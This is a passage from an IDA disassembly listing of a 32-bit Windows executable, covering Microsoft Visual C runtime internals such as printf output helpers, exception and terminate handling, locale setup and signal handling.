		push	eax		; int
		lea	ecx, [ebp+var_244]
		push	ecx		; int
		call	_write_string
		add	esp, 10h
		mov	edx, [ebp+var_4]
		and	edx, 8
		test	edx, edx
		jz	short loc_42991F
		mov	eax, [ebp+var_4]
		and	eax, 4
		test	eax, eax
		jnz	short loc_42991F
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		mov	eax, [ebp+var_280]
		push	eax		; int
		push	30h		; int
		call	_write_multi_char
		add	esp, 10h

loc_42991F:				; CODE XREF: sub_428D80+B77j
					; sub_428D80+B81j
		cmp	[ebp+var_20], 0
		jz	loc_4299CD
		cmp	[ebp+var_28], 0
		jle	loc_4299CD
		mov	ecx, [ebp+Str]
		mov	[ebp+var_284], ecx
		mov	edx, [ebp+var_28]
		mov	[ebp+var_288], edx

loc_429945:				; CODE XREF: sub_428D80+C46j
		mov	eax, [ebp+var_288]
		mov	ecx, [ebp+var_288]
		sub	ecx, 1
		mov	[ebp+var_288], ecx
		test	eax, eax
		jz	short loc_4299CB
		mov	edx, [ebp+var_284]
		mov	ax, [edx]
		mov	[ebp+var_2AA], ax
		mov	cx, [ebp+var_2AA]
		push	ecx		; WCh
		lea	edx, [ebp+var_28C]
		push	edx		; MbCh
		mov	eax, [ebp+var_284]
		add	eax, 2
		mov	[ebp+var_284], eax
		call	_wctomb
		add	esp, 8
		mov	[ebp+var_290], eax
		cmp	[ebp+var_290], 0
		jg	short loc_4299A5
		jmp	short loc_4299CB
; ---------------------------------------------------------------------------

loc_4299A5:				; CODE XREF: sub_428D80+C21j
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		mov	eax, [ebp+var_290]
		push	eax		; int
		lea	ecx, [ebp+var_28C]
		push	ecx		; int
		call	_write_string
		add	esp, 10h
		jmp	loc_429945
; ---------------------------------------------------------------------------

loc_4299CB:				; CODE XREF: sub_428D80+BDCj
					; sub_428D80+C23j
		jmp	short loc_4299E8
; ---------------------------------------------------------------------------

loc_4299CD:				; CODE XREF: sub_428D80+BA3j
					; sub_428D80+BADj
		lea	edx, [ebp+var_230]
		push	edx		; int
		mov	eax, [ebp+File]
		push	eax		; File
		mov	ecx, [ebp+var_28]
		push	ecx		; int
		mov	edx, [ebp+Str]
		push	edx		; int
		call	_write_string
		add	esp, 10h

loc_4299E8:				; CODE XREF: sub_428D80:loc_4299CBj
		mov	eax, [ebp+var_4]
		and	eax, 4
		test	eax, eax
		jz	short loc_429A0E
		lea	ecx, [ebp+var_230]
		push	ecx		; int
		mov	edx, [ebp+File]
		push	edx		; File
		mov	eax, [ebp+var_280]
		push	eax		; int
		push	20h		; int
		call	_write_multi_char
		add	esp, 10h

loc_429A0E:				; CODE XREF: sub_428D80+ABAj
					; sub_428D80+C70j
		cmp	[ebp+var_C], 0
		jz	short loc_429A29
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	__free_dbg
		add	esp, 8
		mov	[ebp+var_C], 0

loc_429A29:				; CODE XREF: sub_428D80+B4j
					; sub_428D80+15Cj ...
		jmp	loc_428DAB
; ---------------------------------------------------------------------------

loc_429A2E:				; CODE XREF: sub_428D80+42j
					; sub_428D80+4Fj
		mov	eax, [ebp+var_230]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_428D80	endp

; ---------------------------------------------------------------------------
off_429A3B	dd offset loc_428E47	; DATA XREF: sub_428D80+C0r
		dd offset loc_428EE1
		dd offset loc_428F23
		dd offset loc_428F92
		dd offset loc_428FEA
		dd offset loc_428FF9
		dd offset loc_429045
		dd offset loc_4290D8
off_429A5B	dd offset loc_428F6F	; DATA XREF: sub_428D80+1D3r
		dd offset loc_428F7A
		dd offset loc_428F65
		dd offset loc_428F5A
		dd offset loc_428F85
		dd offset loc_428F8D
byte_429A73	db 0			; DATA XREF: sub_428D80+1CDr
		dd 5010505h, 5050505h, 5020505h, 4050503h
off_429A84	dd offset loc_429087	; DATA XREF: sub_428D80+2F5r
		dd offset loc_4290C0
		dd offset loc_42907C
		dd offset loc_4290CA
		dd offset loc_4290D3
byte_429A98	db 0			; DATA XREF: sub_428D80+2EFr
		db 3 dup(4)
		dd 6 dup(4040404h), 1040404h, 2040404h,	2 dup(4040404h)
		db 2 dup(4), 3
off_429AC7	dd offset loc_429113	; DATA XREF: sub_428D80+38Cr
		dd offset loc_4293A7
		dd offset loc_429237
		dd offset loc_429540
		dd offset loc_4291A2
		dd offset loc_429128
		dd offset loc_429513
		dd offset loc_4293B7
		dd offset loc_42935C
		dd offset loc_42958C
		dd offset loc_429536
		dd offset loc_42924D
		dd offset loc_42952A
		dd offset loc_42954C
		dd offset loc_429833
byte_429B03	db 0			; DATA XREF: sub_428D80+386r
		dd 10E010Eh, 2 dup(0E0E0E0Eh), 20E0E0Eh, 0E0E0E0Eh, 0E040E03h
		dd 0E0E0E0Eh, 50E0E0Eh,	7070706h, 0E0E060Eh, 9080E0Eh
		dd 0B0E0E0Ah, 0E0E0C0Eh, 0CCCCCC0Dh, 0CCCCCCCCh
; [00000077 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000035 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __mtinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __mtterm.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000019 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000098 BYTES: COLLAPSED FUNCTION __getptd.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000107 BYTES: COLLAPSED FUNCTION __freeptd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F64F8	; GetCurrentThreadId
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F6510	; GetCurrentThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000344 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
off_42A360	dd offset loc_42A33E	; DATA XREF: _CPtoLCID+27r
		dd offset loc_42A345
		dd offset loc_42A34C
		dd offset loc_42A353
		dd offset loc_42A35A
byte_42A374	db 0			; DATA XREF: _CPtoLCID+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; [00000074 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000302 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000022 BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000125 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000091 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000D BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __toupper. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _toupper_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000157 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000094 BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00001328 BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND]
off_42C068	dd offset loc_42AFFA	; DATA XREF: unknown_libname_7+239r
		dd offset loc_42AF80
		dd offset loc_42AF98
		dd offset loc_42AFDC
		dd offset loc_42AF85
		dd offset loc_42AFE7
		dd offset loc_42AFEF
		dd offset unknown_libname_8 ; Microsoft	VisualC	2-8/net	runtime
byte_42C088	db 0			; DATA XREF: unknown_libname_7+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_42C0D6	dd offset loc_42B10B	; DATA XREF: unknown_libname_7+3C4r
		dd offset loc_42B644
		dd offset loc_42BAB7
		dd offset loc_42B53B
		dd offset loc_42BAA2
		dd offset loc_42B640
		dd offset loc_42B151
		dd offset loc_42B542
		dd offset loc_42B176
		dd offset loc_42BE8A
byte_42C0FE	db 0			; DATA XREF: unknown_libname_7+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)
; [00000058 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000051 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __un_inc.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION __whiteout. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000055 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000067 BYTES: COLLAPSED FUNCTION __handle_qnan2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000CE BYTES: COLLAPSED FUNCTION __except2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000004B1 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD	"+" TO EXPAND]
off_42C971	dd offset loc_42C8FC	; DATA XREF: __raise_exc+3FFr
		dd offset loc_42C8EA
		dd offset loc_42C8D8
		dd offset loc_42C8C6
		align 10h
; [00000372 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __umatherr. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000003A BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000071 BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003E BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __get_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000033 BYTES: COLLAPSED FUNCTION __add_exp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __set_bexp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000007C BYTES: COLLAPSED FUNCTION __sptype.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000139 BYTES: COLLAPSED FUNCTION __decomp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __statfp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000032 BYTES: COLLAPSED FUNCTION __ctrlfp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000D7 BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __positive. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000076 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000166 BYTES: COLLAPSED FUNCTION __cftoe2.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000006A BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000013D BYTES: COLLAPSED FUNCTION __cftof2.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000E5 BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000EF BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002A0 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS	KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000B6 BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType	const *,_s_ThrowInfo const *). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000F7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002C BYTES: COLLAPSED FUNCTION sub_42E0D0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION unknown_libname_17. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000DD BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong).	PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION sub_42E29D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord	*,EHRegistrationNode *,_CONTEXT	*,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000027B BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType	const *). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000086 BYTES: COLLAPSED FUNCTION _DestructExceptionObject(EHExceptionRecord *,uchar). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000046 BYTES: COLLAPSED FUNCTION ___AdjustPointer.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_18. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000006C BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	short loc_42E784
; [00000005 BYTES: COLLAPSED FUNCTION j__abort.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void).	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION unexpected(void).	PRESS KEYPAD "+" TO EXPAND]
		db  5Dh	; ]
		db 0C3h	; 
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_42E7C0	proc near		; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo	const *,int,int,uint *,uint *)+23p
					; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42152Dp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042E830 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E380
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		cmp	off_4553D0, 0
		jz	short loc_42E81C
		mov	[ebp+var_4], 1
		call	off_4553D0	; terminate(void)
		mov	[ebp+var_4], 0
		jmp	short loc_42E81C
; ---------------------------------------------------------------------------

loc_42E80C:				; DATA XREF: .rdata:0043E390o
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_42E812:				; DATA XREF: .rdata:0043E394o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0

loc_42E81C:				; CODE XREF: sub_42E7C0+34j
					; sub_42E7C0+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	j_?terminate@@YAXXZ ; terminate(void)
sub_42E7C0	endp

; ---------------------------------------------------------------------------
		db 0EBh	; 
		db    6
; [00000005 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+"	TO EXPAND]
		db 0C3h	; 
; START	OF FUNCTION CHUNK FOR sub_42E7C0
		db  8Bh	; 
		db  4Dh	; M
		db 0F0h	; 
		db  64h	; d
		db  89h	; 
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db  8Bh	; 
		db 0E5h	; 
		db  5Dh	; ]
		db 0C3h	; 
; END OF FUNCTION CHUNK	FOR sub_42E7C0
		align 10h
; [000000EE BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000003EF BYTES: COLLAPSED FUNCTION _setlocale. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000193 BYTES: COLLAPSED FUNCTION __setlocale_set_cat. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000100 BYTES: COLLAPSED FUNCTION __setlocale_get_all. PRESS KEYPAD	"+" TO EXPAND]
; [00000184 BYTES: COLLAPSED FUNCTION __expandlocale. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F160	proc near		; CODE XREF: __setlocale_set_cat+12Bp
					; DATA XREF: .data:off_4554E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42F160	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __strcats. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000015D BYTES: COLLAPSED FUNCTION ___lc_strtolc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION ___lc_lctostr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B2 BYTES: COLLAPSED FUNCTION __lseek_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000029A BYTES: COLLAPSED FUNCTION __ftell_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000273 BYTES: COLLAPSED FUNCTION __write_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000305 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [000001BE BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000059 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000149 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D8 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000424 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000219 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000324 BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION __ioterm.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000049 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION __GET_RTERRMSG. PRESS KEYPAD "+" TO EXPAND]
; [000000DA BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000042 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000C2 BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003F BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __ultoa. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000048 BYTES: COLLAPSED FUNCTION __i64toa.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000F2 BYTES: COLLAPSED FUNCTION x64toa(x,x,x,x,x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __ui64toa. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_4313D3
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_4313D8

loc_4313D3:				; CODE XREF: .text:004313CBj
		jmp	loc_4315A8
; ---------------------------------------------------------------------------

loc_4313D8:				; CODE XREF: .text:004313D1j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_4313F4
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_4313F4
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_4313F4
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_4314D1

loc_4313F4:				; CODE XREF: .text:004313DCj
					; .text:004313E2j ...
		push	1
		call	__lock
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_43140A
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_43144F

loc_43140A:				; CODE XREF: .text:00431402j
		cmp	dword_4F49BC, 0
		jnz	short loc_43144F
		push	1
		push	offset _ctrlevent_capture@4 ; ctrlevent_capture(x)
		call	ds:dword_4F642C	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_431431
		mov	dword_4F49BC, 1
		jmp	short loc_43144F
; ---------------------------------------------------------------------------

loc_431431:				; CODE XREF: .text:00431423j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	esi, eax
		call	___doserrno
		mov	[eax], esi
		push	1
		call	__unlock
		add	esp, 4
		jmp	loc_4315A8
; ---------------------------------------------------------------------------

loc_43144F:				; CODE XREF: .text:00431408j
					; .text:00431411j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_4314C2
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, ds:byte_4315CF[eax]
		jmp	ds:off_4315BB[edx*4]

loc_431476:				; DATA XREF: .text:off_4315BBo
		mov	ecx, dword_4F49AC
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F49AC, edx
		jmp	short loc_4314C2
; ---------------------------------------------------------------------------

loc_43148A:				; CODE XREF: .text:0043146Fj
					; DATA XREF: .text:004315C3o
		mov	eax, dword_4F49B0
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4F49B0, ecx
		jmp	short loc_4314C2
; ---------------------------------------------------------------------------

loc_43149D:				; CODE XREF: .text:0043146Fj
					; DATA XREF: .text:004315C7o
		mov	edx, dword_4F49B4
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4F49B4, eax
		jmp	short loc_4314C2
; ---------------------------------------------------------------------------

loc_4314B0:				; CODE XREF: .text:0043146Fj
					; DATA XREF: .text:004315BFo
		mov	ecx, dword_4F49B8
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4F49B8, edx

loc_4314C2:				; CODE XREF: .text:00431462j
					; .text:0043146Fj ...
		push	1
		call	__unlock
		add	esp, 4
		jmp	loc_4315A3
; ---------------------------------------------------------------------------

loc_4314D1:				; CODE XREF: .text:004313EEj
		cmp	dword ptr [ebp+8], 8
		jz	short loc_4314E8
		cmp	dword ptr [ebp+8], 4
		jz	short loc_4314E8
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_4314E8
		jmp	loc_4315A8
; ---------------------------------------------------------------------------

loc_4314E8:				; CODE XREF: .text:004314D5j
					; .text:004314DBj ...
		call	__getptd
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_455528
		jnz	short loc_431545
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_4555A8
		push	ecx
		call	__malloc_dbg
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_431543
		mov	ecx, dword_4555A8
		push	ecx
		push	offset dword_455528
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	_memcpy
		add	esp, 0Ch
		jmp	short loc_431545
; ---------------------------------------------------------------------------

loc_431543:				; CODE XREF: .text:00431524j
		jmp	short loc_4315A8
; ---------------------------------------------------------------------------

loc_431545:				; CODE XREF: .text:004314FAj
					; .text:00431541j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	_siglookup
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_431563
		jmp	short loc_4315A8
; ---------------------------------------------------------------------------

loc_431563:				; CODE XREF: .text:0043155Fj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx

loc_43156C:				; CODE XREF: .text:loc_4315A1j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
